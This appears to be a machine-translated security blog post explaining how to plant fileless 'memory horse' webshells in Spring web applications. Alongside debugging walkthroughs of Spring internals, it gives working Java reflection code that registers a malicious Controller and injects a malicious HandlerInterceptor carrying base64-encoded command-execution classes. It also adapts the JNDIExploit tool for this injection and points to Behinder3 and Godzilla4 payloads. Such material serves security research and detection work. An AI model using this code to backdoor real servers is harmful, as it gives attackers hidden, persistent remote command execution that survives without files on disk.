Spring memory horse for Java Security

Posted by nezona on Sun, 09 Jan 2022 18:03:59 +0100

Spring memory horse for Java Security

Basic knowledge

Bean

bean is a core concept of the Spring framework. It is the backbone of an application and an object instantiated, configured, assembled and managed by the Spring IoC container.

Generally speaking:

  • Beans are objects
  • Beans are managed by the IoC container
  • Spring applications are mainly composed of bean s

ApplicationContext

In the Spring framework, the BeanFactory interface is the actual representative of the Spring IoC container.

As can be seen from the interface inheritance diagram below, the ApplicationContext interface inherits the BeanFactory interface and further extends the functions of the basic container by inheriting other interfaces.

Therefore, org springframework. context. The ApplicationContext interface also represents the IoC container, which is responsible for instantiating, locating, configuring objects (beans) in the application and establishing dependencies between these objects (beans).

The IoC container obtains the description information of object instantiation, configuration and assembly by reading the configuration metadata. The configured zero metadata can be represented by xml, Java annotations, or Java code.

Implementation idea:

  1. Use pure java code to obtain the context environment of the current code runtime (Conetxt);
  2. Manually register a controller in the context using pure java code;
  3. Write the Webshell logic into the RequestMapping method in the controller to achieve the effect of interactive echo with the URL of the Webshell;

ContextLoaderListener and DispatcherServlet

Let's take a look at the ContextLoaderListener. The dispatcher servlet made relevant analysis when analyzing the SSTI of Thymeleaf

The following is the web of a typical Spring application XML configuration example:

<web-app xmlns:xsi="&lt;a href=" http:="" www.w3.org="" 2001="" XMLSchema-instance"="" rel="nofollow">http://www.w3.org/2001/XMLSchema-instance"
         xmlns="http://java.sun.com/xml/ns/javaee"
         xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
         version="2.5">

    <display-name>HelloSpringMVC</display-name>

    <context-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>/WEB-INF/applicationContext.xml</param-value>
    </context-param>

    <listener>
        <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
    </listener>

    <servlet>
        <servlet-name>dispatcherServlet</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <init-param>
            <param-name>contextConfigLocation</param-name>
            <param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

    <servlet-mapping>
        <servlet-name>dispatcherServlet</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>
</web-app>

Important concepts of Root Context and Child Context:

  • Spring applications can have multiple contexts at the same time, of which only one Root Context and the rest are child contexts
  • All child contexts can access the beans defined in the Root Context, but the Root Context cannot access the beans defined in the Child Context
  • After all contexts are created, they will be added to the Servlet Context as an attribute

ContextLoaderListener

ContextLoaderListener is mainly used to initialize the globally unique Root Context, namely Root WebApplicationContext. This Root WebApplicationContext will share its IoC container with other Child Context instances for other child contexts to obtain and use the bean s in the container.

Back to the web In XML, the related configurations are as follows:

<context-param>
    <param-name>contextConfigLocation</param-name>
    <param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>

<listener>
    <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>

According to the specification, when the contextConfigLocation of ContextLoaderListener is not explicitly configured, the program will automatically find / WEB-INF / ApplicationContext XML as a configuration file, so the < context param > tag above can be completely removed.

After the dispatcher servlet is initialized, a normal Child Context instance will be created.

Each specific dispatcher servlet creates a Child Context, which represents an independent IoC container; The ContextLoaderListener creates a Root Context, which represents a globally unique public IoC container.

If you want to access and operate bean s, you generally need to obtain the ApplicationContext, the IoC container representative of the current code execution environment.

Spring Controller memory implementation

Get Context

After all contexts are created, they will be added to the Servlet Context as an attribute

Master LandGrey gives four ideas to obtain the current context

First: getCurrentWebApplicationContext()

// The getCurrentWebApplicationContext method obtains a Root WebApplicationContext of XmlWebApplicationContext instance type.
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

Second: WebApplicationContextUtils

// A Root WebApplicationContext is also obtained through this method. This method seems troublesome
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

The third: RequestContextUtils

// Obtain the Child WebApplicationContext through an instance of the ServletRequest class
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

Fourth: getAttribute

// This method is different from the previous ideas, because all contexts will be added to the ServletContext as an attribute after they are created. Therefore, the Child WebApplicationContext is obtained by directly obtaining the ServletContext and the Context attribute

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

Let's take a look at the first acquisition method. The Spring environment here is 5.2.3 Release. In this version, there is no getCurrentWebApplicationContext method. Instead, find the findWebApplicationContext method.

The source code is as follows. It can be seen that WebApplicationContext is the web attribute of the dispatcher servlet class_ APPLICATION_ CONTEXT_ ATTRIBUTE

@Nullable
public static WebApplicationContext findWebApplicationContext(HttpServletRequest request, @Nullable ServletContext servletContext) {
    WebApplicationContext webApplicationContext = (WebApplicationContext)request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE);
    if (webApplicationContext == null) {
        if (servletContext != null) {
            webApplicationContext = WebApplicationContextUtils.getWebApplicationContext(servletContext);
        }

        if (webApplicationContext == null) {
            webApplicationContext = ContextLoader.getCurrentWebApplicationContext();
        }
    }

    return webApplicationContext;
}

@Nullable
public static WebApplicationContext findWebApplicationContext(HttpServletRequest request) {
    return findWebApplicationContext(request, request.getServletContext());
}

In the dispatcher servlet class, the WebApplicationContext is initialized in the doService method. The doService method initializes some global properties and then enters the doDispatch method to process the Request and Response

Register Controller

It is generally used from Spring 2.5 to Spring 3.1
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping
Mapper;

Spring 3.1 and later generally start using new
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
Mapper to support @ Contoller and @ RequestMapping annotations.

Debugging analysis

The code is as follows. Using the idea of master su18, obtain the MappingRegistry property of the parent class of RequestMappingHandlerMapping and call the register method to register the malicious Controller

@Controller
public class AddControllerMemshell {

    @RequestMapping(value = "/addcontroller")
    public void addController(HttpServletRequest request, HttpServletResponse response) throws Exception{

        final String controllerPath = "/zh1z3ven";

        WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

        RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

        Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
        f.setAccessible(true);
        Object mappingRegistry = f.get(mapping);

        Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");

        Method[] ms = c.getDeclaredMethods();

        Field field = c.getDeclaredField("urlLookup");
        field.setAccessible(true);

        Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry);
        for (String urlPath : urlLookup.keySet()) {
            if (controllerPath.equals(urlPath)) {
                response.getWriter().println("controller url path exist already");
                return;
            }
        }

        PatternsRequestCondition url       = new PatternsRequestCondition(controllerPath);
        RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
        RequestMappingInfo info      = new RequestMappingInfo(url, condition, null, null, null, null, null);

        Class<?> myClass = Util.getClass(CONTROLLER_CMDMEMSHELL_CLASS_STRING);

        for (Method method : ms) {
            if ("register".equals(method.getName())) {
                method.setAccessible(true);
                method.invoke(mappingRegistry, info, myClass.newInstance(), myClass.getMethods()[0]);
                response.getWriter().println("spring controller add");
            }
        }
    }

}

In webapplicationcontext context = requestcontextutils findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()). getRequest()); Follow up at the next breakpoint in the code, first through requestcontextholder The currentrequestattributes () method gets the RequestFacade object of the encapsulated class of Request

After converting to ServletRequestAttributes type, call the getRequest method to get the current Request object.

Then enter the findWebApplicationContext method as a parameter (the Spring environment is 5.2.3.RELEASE. In this version, there is no getCurrentWebApplicationContext method. Instead, find the findWebApplicationContext method)

The source code of the findWebApplicationContext method is as follows. It can be seen that WebApplicationContext is the web attribute of the dispatcher servlet class_ APPLICATION_ CONTEXT_ ATTRIBUTE

@Nullable
public static WebApplicationContext findWebApplicationContext(HttpServletRequest request, @Nullable ServletContext servletContext) {
    WebApplicationContext webApplicationContext = (WebApplicationContext)request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE);
    if (webApplicationContext == null) {
        if (servletContext != null) {
            webApplicationContext = WebApplicationContextUtils.getWebApplicationContext(servletContext);
        }

        if (webApplicationContext == null) {
            webApplicationContext = ContextLoader.getCurrentWebApplicationContext();
        }
    }

    return webApplicationContext;
}

@Nullable
public static WebApplicationContext findWebApplicationContext(HttpServletRequest request) {
    return findWebApplicationContext(request, request.getServletContext());
}

0x01 get context
In the dispatcher servlet class, the WebApplicationContext is initialized in the doService method. The doService method initializes some global properties and then enters the doDispatch method to process the Request and Response

Looking back at the findWebApplicationContext method, we get a Root WebApplicationContext of XmlWebApplicationContext instance type

0x02 get RequestMappingHandlerMapping

About RequestMappingHandlerMapping

The function of RequestMappingHandlerMapping is to register the corresponding relationship between the request conditions (RequestMappingInfo) and controller methods (HandlerMethod) of all controller methods in the system into the memory of RequestMappingHandlerMapping Bean after the container is started. When the interface requests the system, it is compared according to the request conditions and the system interface information stored in the memory, Then execute the corresponding controller method.
To put it bluntly, the @ RequestMapping annotation exists in the Controller. When we access the url corresponding to the value in the annotation, the request will enter the corresponding Method processing, and the RequestMappingHandlerMapping class is used to bind the mapping between the @ RequestMapping annotation and the corresponding Method

RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
Finally, enter the DefaultListableBeanFactory#getBean method, and then use the resolveBean logic to obtain and return the requestmappinghandlermapping instance object

The main logic is still in the DefaultListableBeanFactory#resolveNamedBean method, first pass in requiredtype Toclass(), beanName, args, go into the getBean method logic to get the instantiated object of RequestMappingHandlerMapping

There are many single-step debugging processes in the getBean method, so there is no mapping. The call stack is as follows:

doGetBean:250, AbstractBeanFactory (org.springframework.beans.factory.support)
getBean:227, AbstractBeanFactory (org.springframework.beans.factory.support)
resolveNamedBean:1155, DefaultListableBeanFactory (org.springframework.beans.factory.support)
resolveBean:416, DefaultListableBeanFactory (org.springframework.beans.factory.support)
getBean:349, DefaultListableBeanFactory (org.springframework.beans.factory.support)
getBean:342, DefaultListableBeanFactory (org.springframework.beans.factory.support)
getBean:1126, AbstractApplicationContext (org.springframework.context.support)

Finally, the getSingleton method is called to obtain the instance object of RequestMappingHandlerMapping

After that, a new NamedBeanHolder is created, and the RequestMappingHandlerMapping object and beanName are saved in the NamedBeanHolder as attributes

Subsequently, the RequestMappingHandlerMapping is obtained and returned through the getBeanInstance method of the object. So far, the RequestMappingHandlerMapping object is obtained

0x03 get mappingRegistry property

Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mapping);

This attribute is the built-in class MappingRegistry object of AbstractHandlerMethodMapping, which contains the regiester method. This method is also used to add the contractor later

0x04 MappingRegistry#register
There are roughly two steps here. The first is to construct RequestMappingInfo, which contains some properties we need to register. The second is to call the MappingRegistry#register method to register the malicious Controller

Because the Controller is registered through the MappingRegistry#register Method, let's take a brief look at how a normal Controller binds the @ RequestMapping annotation and the corresponding Method method Method in the code.
Because the whole process call stack is relatively long, if you want to start from initialization to register method, many diagrams will be pasted. The masters interested can be based on su18 masters and This article To debug, the relevant call stacks are as follows

register:598, AbstractHandlerMethodMapping$MappingRegistry (org.springframework.web.servlet.handler)
registerHandlerMethod:318, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
registerHandlerMethod:350, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
registerHandlerMethod:67, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
lambda$detectHandlerMethods$1:288, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
accept:-1, 2019467502 (org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$$Lambda$99)
forEach:684, LinkedHashMap (java.util)
detectHandlerMethods:286, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
processCandidateBean:258, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
initHandlerMethods:217, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
afterPropertiesSet:205, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
afterPropertiesSet:171, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
invokeInitMethods:1855, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
initializeBean:1792, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
doCreateBean:595, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
createBean:517, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
lambda$doGetBean$0:323, AbstractBeanFactory (org.springframework.beans.factory.support)
getObject:-1, 924632896 (org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$56)
getSingleton:222, DefaultSingletonBeanRegistry (org.springframework.beans.factory.support)
doGetBean:321, AbstractBeanFactory (org.springframework.beans.factory.support)
getBean:202, AbstractBeanFactory (org.springframework.beans.factory.support)
preInstantiateSingletons:879, DefaultListableBeanFactory (org.springframework.beans.factory.support)
finishBeanFactoryInitialization:878, AbstractApplicationContext (org.springframework.context.support)
refresh:550, AbstractApplicationContext (org.springframework.context.support)
configureAndRefreshWebApplicationContext:702, FrameworkServlet (org.springframework.web.servlet)
createWebApplicationContext:668, FrameworkServlet (org.springframework.web.servlet)
createWebApplicationContext:716, FrameworkServlet (org.springframework.web.servlet)
initWebApplicationContext:591, FrameworkServlet (org.springframework.web.servlet)

Let's look directly at the AbstractHandlerMethodMapping#processCandidateBean method
First, judge whether the current beanType contains @ Controller or @ RquestMapping annotation through the isHandler method in if

After entering detectHandlerMethods, first get the class object of handler, then create the RequestMappingInfo object in the lambda expression by calling createRequestMappingInfo method according to annotation, then call forEach loop to traverse the method selected before and call the registerHandlerMethod method to create the mapping between method and mapping.

The registerHandlerMethod method is ultimately the called MappingRegistry#register method
The source code of register method is as follows

public void register(T mapping, Object handler, Method method) {
    if (KotlinDetector.isKotlinType(method.getDeclaringClass()) && AbstractHandlerMethodMapping.KotlinDelegate.isSuspend(method)) {
        throw new IllegalStateException("Unsupported suspending handler method detected: " + method);
    } else {
        this.readWriteLock.writeLock().lock();

        try {
            HandlerMethod handlerMethod = AbstractHandlerMethodMapping.this.createHandlerMethod(handler, method);
            this.validateMethodMapping(handlerMethod, mapping);
            this.mappingLookup.put(mapping, handlerMethod);
            List<String> directUrls = this.getDirectUrls(mapping);
            Iterator var6 = directUrls.iterator();

            while(var6.hasNext()) {
                String url = (String)var6.next();
                this.urlLookup.add(url, mapping);
            }

            String name = null;
            if (AbstractHandlerMethodMapping.this.getNamingStrategy() != null) {
                name = AbstractHandlerMethodMapping.this.getNamingStrategy().getName(handlerMethod, mapping);
                this.addMappingName(name, handlerMethod);
            }

            CorsConfiguration corsConfig = AbstractHandlerMethodMapping.this.initCorsConfiguration(handler, method, mapping);
            if (corsConfig != null) {
                this.corsLookup.put(handlerMethod, corsConfig);
            }

            this.registry.put(mapping, new AbstractHandlerMethodMapping.MappingRegistration(mapping, handlerMethod, directUrls, name));
        } finally {
            this.readWriteLock.writeLock().unlock();
        }
    }
}

The register method is mainly used to bind the mapping between method and mapping
For example, the mappingLookup property stores the mapping relationship between mapping and handler method

The mapping relationship between url and mapping is stored in urlLookup

And in the registry, the mapping relationship between mapping and MappingRegistration objects is stored.

To sum up, the specific attributes that need to be used when registering the Controller are as follows.

Therefore, the whole Spring Controller memory horse registration process is roughly as follows:

Get context = = > get requestmappinghandlermapping = = > get MappingRegistry property = = > construct RequestMappingInf (url, requestmethodsrequest condition = = > call MappingRegistry#register method to register Controller

Memory implementation of Spring Interceptor

The interceptor definition must implement the HandlerInterceptor interface. There are three methods in the HandlerInterceptor interface:

  • The preHandle method is the method intercepted before the controller method executes
    return true to execute the next interceptor. If there is no interceptor, execute the method in the controller.
    return false. The method in the controller will not be executed.
  • postHandle is the method executed after the controller method is executed and before the JSP view is executed.
    You can use request or response to jump to the specified page
    If a page to jump to is specified, the page to which the controller method jumps will not be displayed.
  • The afterCompletion method is executed after the JSP is executed
    request or response can no longer jump to the page

I won't say more about interceptors, but the initialization and registration of interceptors are actually before Analyze doDispatch method article There is one point involved in this. Let's go deep this time.
The breakpoint is directly set in the DispatcherServlet#doDispatch method, and F9 jumps into the getHandler method

This method traverses the HandlerMapping. When the HandlerExecutionChain object returned by a HandlerMapping call to getHandler is not null, return the HandlerExecutionChain object.

The getHandler method called by the mapping object is AbstractHandlerMapping#getHandler method, and the tinning of HandlerExecutionChain is obtained by calling getHandlerExecutionChain

Continue to follow up the getHandlerExecutionChain method, and finally add the Interceptor interceptor through the HandlerExecutionChain#addInterceptor method

By observing the addInterceptor source code below, we can find that at present, we only need to construct a malicious Interceptor that implements HandlerInterceptor.

public void addInterceptor(HandlerInterceptor interceptor) {
        this.initInterceptorList().add(interceptor);
    }

The next step is to observe where the Interceptor fixedly calls which method, which is similar to the doFileter method of Filter in Tomcat.

In fact, the key is to get the adaptedInterceptors attribute of ApplicationContext and requestMappingHandlerMapping. After getting the adaptedInterceptors attribute, we can adjust the add method to add our malicious interceptor.
Take a look at the code for injecting interceptors used in most articles on the Internet. copy is from master su18. The string in the add method is the bytes array of base64 encoded class files. It mainly depends on the idea.
Roughly through:
0x01: RequestContextUtils.findWebApplicationContext get Context
0x02: context.getBean(RequestMappingHandlerMapping.class) gets RequestMappingHandlerMapping
0x03: get adaptedInterceptors property for reflection
0x04: list.add(HandlerInterceptor)

@Controller
public class AddInterceptorMemshell {

    @RequestMapping(value = "/addinterceptor")
    public void addInterceptor(HttpServletRequest request, HttpServletResponse response) throws Exception {
    
        WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

        RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

        Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
        f.setAccessible(true);
        List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);
        list.add((HandlerInterceptor) Util.getClass(Util.INTERCEPTOR_CMDMEMSHELL_CLASS_STRING).newInstance());
        response.getWriter().println("interceptor added");

    }
}

The rest will not be tested, similar to the Controller. Let's look at the small problems encountered when changing JNDIExploit

Transform JNDIExploit

The idea of obtaining ApplicationContext from master feihong's JNDIExploit project is as follows:

// 1. Reflection org springframework. context. support. applicationContexts property of livebeansview class
Field field = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. The attribute is modified by private, so setaccessible is true
field.setAccessible(true);
// 3. Get an ApplicationContext instance
WebApplicationContext context =(WebApplicationContext) ((LinkedHashSet)field.get(null)).iterator().next();

When I test Spring in 5.2.3, I will throw the following exception

[+] Add Dynamic Interceptor
java.util.NoSuchElementException
	at java.util.LinkedHashMap$LinkedHashIterator.nextNode(LinkedHashMap.java:721)
	at java.util.LinkedHashMap$LinkedKeyIterator.next(LinkedHashMap.java:742)

I haven't found the reason yet, so I used the first idea to get the Context when changing JNDIExploit. I took the reflection and wrote it again. The general code is as follows (only Spring version 5.2.3 was tested and passed)

// 0x01 get Context
Class RCHClass = Class.forName("org.springframework.web.context.request.RequestContextHolder");
ServletRequestAttributes servletRequestAttributes = (ServletRequestAttributes) RCHClass.getDeclaredMethod("currentRequestAttributes").invoke(RCHClass, null);

// Method currentRequestAttributes = rctxh.getDeclaredMethod("currentRequestAttributes", null);
Class SRAClass = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
Method getRequestMethod = SRAClass.getDeclaredMethod("getRequest");

Class RCUClass = Class.forName("org.springframework.web.servlet.support.RequestContextUtils");
Method findWebApplicationContextMethod = RCUClass.getMethod("findWebApplicationContext", HttpServletRequest.class);
WebApplicationContext context = (WebApplicationContext) findWebApplicationContextMethod.invoke(RCUClass, getRequestMethod.invoke(servletRequestAttributes));

// 0x02 get RequestMappingHandlerMapping object through context
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

// 0x03 get adaptedInterceptors and add interceptors
Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
f.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);
list.add((HandlerInterceptor) clazz.newInstance());

The rest is to replace the Memshell base64 field of Behinder3 or Godzilla4.

Behinder3 Memshell

Godzilla4 Memshell

Reference

https://landgrey.me/blog/12/
https://landgrey.me/blog/19/
https://su18.org/post/memory-shell/
https://myzxcg.com/2021/11/Spring- Memory horse implementation/
https://f5.pm/go-83042.html

Topics: Java